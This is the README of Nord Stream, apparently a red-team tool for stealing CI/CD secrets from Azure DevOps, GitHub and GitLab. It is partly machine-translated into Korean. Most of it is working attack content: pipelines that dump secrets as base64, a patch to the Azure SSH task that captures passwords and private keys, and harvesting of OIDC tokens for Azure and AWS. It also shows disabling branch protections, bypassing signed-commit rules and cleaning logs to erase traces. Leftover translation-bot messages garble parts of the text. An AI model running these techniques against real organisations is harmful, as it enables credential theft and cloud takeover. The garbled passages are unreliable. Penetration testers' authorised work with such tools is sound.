
Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab.
Nord Stream은 CI/CD 환경에 저장된 시크릿을 악성 파이프라인을 배포하여 추출할 수 있는 도구입니다.
현재 Azure DevOps, GitHub 및 GitLab을 지원합니다.
자세한 내용은 다음 블로그 게시물에서 확인하세요: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
`git`도 필요하며 (https://git-scm.com/download/ 참조) `PATH`에 존재해야 합니다.
## 사용법
다음은 GitHub의 간단한 예제입니다. 처음에는 다양한 비밀을 열거할 수 있습니다.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
그런 다음 exfiltration을 진행합니다:```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### 공유 인자
일부 인자는 [GitHub](#github), [Azure DevOps](#azure-devops), [GitLab](#gitlab) 간에 공유됩니다. 몇 가지 예는 다음과 같습니다.
#### 토큰 설명
`--describe-token` 옵션을 사용하면 토큰에 대한 일반 정보를 표시할 수 있습니다:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
--build-yaml 옵션은 배포하지 않고 파이프라인 파일을 생성하는 데 사용할 수 있습니다. 이 옵션은 관련 파이프라인을 빌드하기 위해 다양한 시크릿 이름을 검색하며, 이 파이프라인은 사용자 지정 단계를 추가하는 데 사용할 수 있습니다:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
`--yaml` 옵션을 사용하여 사용자 지정 파이프라인을 배포할 수 있습니다:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
I don't see any source content to translate. The message ends with "INPUT:" but no text follows it. Please provide the chunk you'd like translated.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here
[] Cleaning logs. [] Check output: .../nord-stream-logs/github
기본적으로 `init` 작업의 `command`라는 이름의 태스크 출력을 표시하지만, 모든 것이 로컬에 저장되며 수동으로 접근할 수 있습니다:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
기본적으로 Nord Stream은 사용자의 권한에 따라 파이프라인 배포 후 남은 흔적을 제거하려고 시도합니다. 흔적을 보존하려면 --no-clean 옵션을 사용할 수 있습니다. 이렇게 하면 파이프라인 로그는 유지되지만, 저장소에 적용된 변경 사항은 여전히 되돌아갑니다.
참고로 GitLab의 경우 일부 흔적은 삭제할 수 없습니다.
저장소 관리자는 브랜치에서 필수 커밋 서명을 적용하여 서명되지 않았거나 검증되지 않은 모든 커밋을 차단할 수 있습니다. Nord Stream을 사용하면 이러한 보호를 우회하기 위해 커밋에 서명할 수 있습니다.
먼저 SCM 플랫폼에서 GPG 키를 생성하고 가져오세요.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]
I don't see any content provided in the input to translate. Please provide the source text for chunk 19, and I'll translate it into Korean.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
$ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973
gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST
gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5
gpg: Good signature from "test-gpg <[email protected]>" [ultimate]
Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
```
### Azure DevOps
Nord Stream은 다음 유형의 시크릿을 추출할 수 있습니다:
- 변수 그룹(vg)
- 보안 파일(sf)
- 서비스 연결
#### 서비스 연결
Azure DevOps는 작업(job)에서 태스크를 실행하기 위해 외부 및 원격 서비스와 연결을 생성할 수 있는 기능을 제공합니다. 이를 위해 서비스 연결이 사용됩니다. 서비스 연결은 원격 서비스에 대한 ID의 자격 증명을 보유합니다. Azure DevOps에는 여러 유형의 서비스 연결이 있습니다.
Nord Stream은 현재 다음 유형의 서비스 연결에 대한 시크릿 추출을 지원합니다:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH
지원되지 않는 유형을 발견하면 이슈를 열거나 풀 리퀘스트를 만들어 주세요 :)
##### SSH
이 서비스 연결 유형에 대한 추출은 구현하기가 까다로웠습니다. 출력 결과는 다음과 같습니다:```
hostname:::port:::user:::password:::privatekey
```
자체 호스팅 러너에서 실행하려면 다음을 수행할 수 있습니다:```
$ nord-stream devops ... --build-yaml test.yml --build-type ssh
[+] YAML file:
trigger: none
pool:
vmImage: ubuntu-latest
steps:
- checkout: none
- script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js) ; cp $SSH_FILE $SSH_FILE.bak
; sed -i 's|const readyTimeout = getReadyTimeoutVariable();|const readyTimeout
= getReadyTimeoutVariable();\nconst fs = require("fs");var data = "";data += hostname
+ ":::" + port + ":::" + username + ":::" + password + ":::" + privateKey;fs.writeFile("/tmp/artefacts.tar.gz",
data, (err) => {});|' $SSH_FILE
displayName: Preparing Build artefacts
- task: SSH@0
inputs:
sshEndpoint: '#FIXME'
runOptions: commands
commands: sleep 1
- script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js); mv $SSH_FILE.bak
$SSH_FILE ; cat /tmp/artefacts.tar.gz | base64 -w0 | base64 -w0 ; echo ''
displayName: Build artefacts
```
그런 다음 다음을 수행해야 합니다:
1) `vmImage: ubuntu-latest`를 `name: 'Self-Hosted pool name'`으로 변경합니다.
2) `#FIXME` 자리 표시자에 서비스 연결 이름을 추가합니다.
3) 다음과 같이 파이프라인을 배포합니다: `--yaml test.yml`
Windows 자체 호스팅 실행기에서 이 작업을 실행해야 하는 경우, `generatePipelineForSSH` 메서드에서 `_serviceConnectionTemplateSSH`를 `_serviceConnectionTemplateSSHWindows`로 변경하고 앞서 설명한 작업을 수행합니다.
참고: Windows 및 Linux 자체 호스팅 실행기 모두에서 실행기가 배포된 경로에 맞게 경로(`/home/vsts/work/_tasks/` 또는 `D:\a\`)를 조정해야 합니다. 이 정보는 Azure DevOps의 에이전트에 있는 `Capabilities` 탭에서 확인할 수 있습니다.
#### 조직 나열
액세스 토큰을 사용하면 사용자에게 연결된 조직을 나열할 수 있습니다:```
$ nord-stream devops --token "eyJ0eXA..." --list-orgs
[*] User orgs:
- myorg
- supersecretorg
```
이는 [이 연구](https://zolder.io/en/blog/devops-access-is-closer-than-you-assume/)를 기반으로 합니다.
#### 도움말```
$ nord-stream devops -h
CICD pipeline exploitation tool
Usage:
nord-stream devops [options] --token <pat> --org <org> [extraction] [--project <project> --write-filter --no-clean --branch-name <name> --pipeline-name <name> --repo-name <name>]
nord-stream devops [options] --token <pat> --org <org> --yaml <yaml> --project <project> [--write-filter --no-clean --branch-name <name> --pipeline-name <name> --repo-name <name>]
nord-stream devops [options] --token <pat> --org <org> --build-yaml <output> [--build-type <type>]
nord-stream devops [options] --token <pat> --org <org> --clean-logs [--project <project>]
nord-stream devops [options] --token <pat> --org <org> --list-projects [--write-filter]
nord-stream devops [options] --token <pat> --org <org> (--list-secrets [--project <project> --write-filter] | --list-users)
nord-stream devops [options] --token <pat> --org <org> --describe-token
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
-d, --debug Debug mode
--output-dir <dir> Output directory for logs
--ignore-cert Allow insecure server connections
Commit:
--user <user> User used to commit
--email <email> Email address used commit
--key-id <id> GPG primary key ID to sign commits
args:
--token <pat> Azure DevOps personal token or JWT
--org <org> Org name
-p, --project <project> Run on selected project (can be a file)
-y, --yaml <yaml> Run arbitrary job
--clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered.
--no-clean Don't clean pipeline logs (default false)
--list-projects List all projects.
--list-secrets List all secrets.
--list-users List all users.
--write-filter Filter projects where current user has write or admin access.
--build-yaml <output> Create a pipeline yaml file with default configuration.
--build-type <type> Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh
--describe-token Display information on the token
--branch-name <name> Use specific branch name for deployment.
--pipeline-name <name> Use pipeline for deployment.
--repo-name <name> Use specific repo for deployment.
Exctraction:
--extract <list> Extract following secrets [vg,sf,gh,az,aws,sonar,ssh]
--no-extract <list> Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]
Examples:
List all secrets from all projects
$ nord-stream devops --token "$PAT" --org myorg --list-secrets
Dump all secrets from all projects
$ nord-stream devops --token "$PAT" --org myorg
Authors: @hugow @0hexit
```
### GitHub
#### 보호 목록
`--list-protections` 옵션을 사용하여 브랜치와 환경에 적용된 보호를 나열할 수 있습니다:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
[*] Using branch: "main"
[*] Checking security: "synacktiv/repo"
[*] Found branch protection rule on "main" branch
[*] Branch protections:
- enforce admins: True
- block creations: True
- required signatures: True
- allow force pushes: False
- allow deletions: False
- required pull request reviews: False
- required linear history: False
- required conversation resolution: False
- lock branch: False
- allow fork syncing: False
[*] Environment protection for: "DEV":
- deployment branch policy: custom
[*] No environment protection rule found for: "INT"
[*] Environment protection for: "PROD":
- deployment branch policy: custom
```
권한에 따라 정보가 더 적을 수 있으며, 보호 기능에 대한 전체 세부 정보는 관리자만 볼 수 있습니다.
#### 보호 기능 비활성화
`--disable-protections` 옵션을 사용하면 브랜치 또는 환경에 적용된 보호 기능을 일시적으로 비활성화하고, 덤프를 수행한 다음 모든 보호 기능을 복원할 수 있습니다.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Found branch protection rule on "main" branch
[...]
[!] Removing branch protection, wait until it's restored.
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Environment protection for: "PROD":
- deployment branch policy: custom
[!] Modifying env protection, wait until it's restored.
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[!] Restoring env protections.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
[*] Cleaning logs.
[!] Restoring branch protection.
```
This requires admin privileges.
#### Force
By default, if Nord Stream detect a protection on a branch or on an environment it won't perform the secret extraction. If you think that the protections are too permissive or can be bypassed with your privileges, the `--force` option can be used to deploy the pipeline regardless of protections.
#### Azure OIDC
OIDC (OpenID Connect) can be used to connect to cloud services. The general idea is to allow authorized pipelines or workflows to get short-lived access tokens directly from a cloud provider, without involving any static secrets. Authorization is based on trust relationships configured on the cloud provider's side and being conditioned by the origin of the pipeline or workflow.
Here is an example of a GitHub workflow using OIDC:```yaml
[...]
steps:
- name: OIDC Login to Azure Public Cloud
uses: azure/login@v1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional
```
이러한 워크플로를 발견한 경우, 해당 리포지토리가 Azure 리소스에 접근할 수 있는 단기 액세스 토큰을 얻도록 구성되어 있을 가능성이 있음을 의미합니다.
Nord Stream은 다음 옵션을 사용하여 이러한 액세스 토큰을 검색하는 파이프라인을 배포할 수 있습니다:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] No branch protection rule found on "main" branch
[*] Running OIDC Azure access tokens generation workflow
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] OIDC access tokens:
Access token to use with Azure Resource Manager API:
{
"accessToken":
"eyJ0eXAiOiJK[...]PVig",
"expiresOn": "2023-07-18 23:18:57.000000",
"subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2",
"tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2",
"tokenType": "Bearer"
}
Access token to use with MS Graph API:
{
"accessToken":
"eyJ0eXAi[...]_qTA",
"expiresOn": "2023-07-19 22:18:59.000000",
"subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2",
"tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2",
"tokenType": "Bearer"
}
```
The `--azure-subscription-id`는 선택 사항이며 특정 구독에 대한 액세스 토큰을 얻는 데 사용할 수 있습니다.
#### AWS OIDC
동일한 기법([Azure OIDC](#azure-oidc) 참조)을 사용하여 AWS에서 세션 토큰을 얻을 수 있습니다.
AWS OIDC를 사용하는 워크플로의 예는 다음과 같습니다.```yaml
[...]
steps:
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole
role-session-name: oidcrolesession
aws-region: us-east-1
```
이러한 워크플로를 발견한 경우, 해당 저장소가 AWS 리소스에 대한 액세스 권한을 부여할 수 있는 AWS 액세스 토큰을 얻도록 구성되어 있을 수 있음을 의미합니다.
Nord Stream은 다음 옵션을 사용하여 해당 액세스 토큰을 검색하는 파이프라인을 배포할 수 있습니다:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force
[+] "Synacktiv/repo"
[*] Running OIDC AWS credentials generation workflow
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] OIDC credentials:
AWS_DEFAULT_REGION=us-east-1
AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6
AWS_REGION=us-east-1
AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO
AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA
```
#### 도움말```
$ nord-stream github -h
CICD pipeline exploitation tool
Usage:
nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]
nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]
nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]
nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]
nord-stream github [options] --token <ghp> --describe-token
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
-d, --debug Debug mode
--output-dir <dir> Output directory for logs
Signing:
--key-id <id> GPG primary key ID
--user <user> User used to sign commits
--email <email> Email address used to sign commits
args
--token <ghp> Github personal token
--org <org> Org name
-r, --repo <repo> Run on selected repo (can be a file)
-y, --yaml <yaml> Run arbitrary job
--clean-logs Delete all logs created by this tool. This operation is done by default but can be manually triggered.
--no-clean Don't clean workflow logs (default false)
--clean-branch-policy Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.
--build-yaml <filename> Create a pipeline yaml file with all secrets.
--env <env> Specify env for the yaml file creation.
--no-repo Don't extract repo secrets.
--no-env Don't extract environnments secrets.
--no-org Don't extract organization secrets.
--azure-tenant-id <tenant> Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).
--azure-subscription-id <subscription> Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).
--azure-client-id <client> Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).
--aws-role <role> AWS role to assume (OIDC related).
--aws-region <region> AWS region (OIDC related).
--list-protections List all protections.
--list-repos List all repos.
--list-secrets List all secrets.
--disable-protections Disable the branch protection rules (needs admin rights)
--write-filter Filter repo where current user has write or admin access.
--force Don't check environment and branch protections.
--branch-name <name> Use specific branch name for deployment.
--describe-token Display information on the token
Examples:
List all secrets from all repositories
$ nord-stream github --token "$GHP" --org myorg --list-secrets
Dump all secrets from all repositories and try to disable branch protections
$ nord-stream github --token "$GHP" --org myorg --disable-protections
Authors: @hugow @0hexit
```
### GitLab
기사에서 설명한 대로, 파이프라인 배포 후 활동 탭의 로그를 제거할 방법은 없습니다. 이는 레드팀 작전 중 반드시 고려해야 합니다.
#### 시크릿 목록
`--list-secrets` 옵션을 사용하여 GitLab에서 시크릿을 나열하고 추출할 수 있습니다.
GitLab이 시크릿을 관리하는 방식은 Azure DevOps 및 GitHub Actions와는 조금 다릅니다. 프로젝트, 그룹에 대한 관리자 액세스 또는 GitLab 인스턴스에 대한 관리자 액세스가 있으면 파이프라인을 배포하지 않고도 정의된 모든 CI/CD 변수를 추출할 수 있습니다.
그러나 낮은 권한의 사용자는 프로젝트/그룹 또는 인스턴스 수준에서 정의된 시크릿을 나열할 수 없습니다. 하지만 사용자가 프로젝트에 대한 쓰기 권한을 갖고 있다면 악성 파이프라인을 배포하여 CI/CD 변수를 노출하는 환경 변수를 유출할 수 있습니다. 이는 낮은 권한의 사용자가 특정 프로젝트에 시크릿이 정의되어 있는지 알 수 있는 방법이 없다는 뜻입니다. 유일한 방법은 프로젝트에 이미 존재하는 정상적인 파이프라인을 살펴보고 파이프라인이 민감한 환경 변수를 사용하는지 확인하는 것입니다.
GitLab에서 이 작업을 수행하기 위한 파이프라인 파일은 다음과 같습니다:```yaml
stages:
- synacktiv
deploy-production:
image: ubuntu:latest
stage: synacktiv
script:
- env | base64 -w0 | base64 -w 0
```
GitLab은 Azure DevOps와 같은 보안 파일도 지원합니다. 보안 파일은 프로젝트 수준에서 정의됩니다. 변수와 마찬가지로 프로젝트에 대한 관리자 액세스 권한 없이는 보안 파일을 나열할 수 없습니다. 그러나 관리자 액세스 권한이 있으면 nord-stream은 프로젝트와 관련된 보안 파일을 외부로 유출하려고 시도합니다.
#### YAML
[YAML](#yaml)과 동일하지만, 전체 프로젝트 경로를 다음과 같이 제공해야 합니다:```sh
$ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml
```
The output of the command `--list-projects` returns such path.
#### 보호 목록
[GitHub 보호 목록](#list-protections)과 동일
#### 도움말```
$ nord-stream gitlab -h
CICD pipeline exploitation tool
Usage:
nord-stream gitlab [options] --token <pat> (--list-secrets | --list-protections) [--project <project> --group <group> --no-project --no-group --no-instance --write-filter]
nord-stream gitlab [options] --token <pat> ( --list-groups | --list-projects ) [--project <project> --group <group> --write-filter]
nord-stream gitlab [options] --token <pat> --yaml <yaml> --project <project> [--no-clean]
nord-stream gitlab [options] --token <pat> --clean-logs [--project <project>]
nord-stream gitlab [options] --token <pat> --describe-token
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
-d, --debug Debug mode
--output-dir <dir> Output directory for logs
--url <gitlab_url> Gitlab URL [default: https://gitlab.com]
--ignore-cert Allow insecure server connections
Commit:
--user <user> User used to commit
--email <email> Email address used commit
--key-id <id> GPG primary key ID to sign commits
args:
--token <pat> GitLab personal access token or _gitlab_session cookie
--project <project> Run on selected project (can be a file)
--group <group> Run on selected group (can be a file)
--list-secrets List all secrets.
--list-protections List branch protection rules.
--list-projects List all projects.
--list-groups List all groups.
--write-filter Filter repo where current user has developer access or more.
--no-project Don't extract project secrets.
--no-group Don't extract group secrets.
--no-instance Don't extract instance secrets.
-y, --yaml <yaml> Run arbitrary job
--branch-name <name> Use specific branch name for deployment.
--clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered.
--no-clean Don't clean pipeline logs (default false)
--describe-token Display information on the token
Examples:
Dump all secrets
$ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets
Deploy the custom pipeline on the master branch
$ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
Authors: @hugow @0hexit
```
## TODO
- [ ] Azure DevOps Server 인스턴스(온프레미스 솔루션)에 해당하는 URL 지원 추가
- [ ] Windows 호스트를 통해 비밀 정보를 추출하는 옵션 추가
- [ ] 다른 CI/CD 환경(Jenkins/Bitbucket) 지원 추가
- [ ] 브랜치 보호 규칙을 나열하기 위해 REST API 대신 GitHub GraphQL API를 사용하고, 푸시하려는 악성 브랜치와 일치하는 경우 해당 규칙을 일시적으로 비활성화
## Contact
버그, 문제, 질문 또는 기능 요청은 "Issues"에 제출하거나 Twitter [@hugow](https://twitter.com/hugow_vincent) 및 [@0hexit](https://twitter.com/0hexit)으로 보내주세요.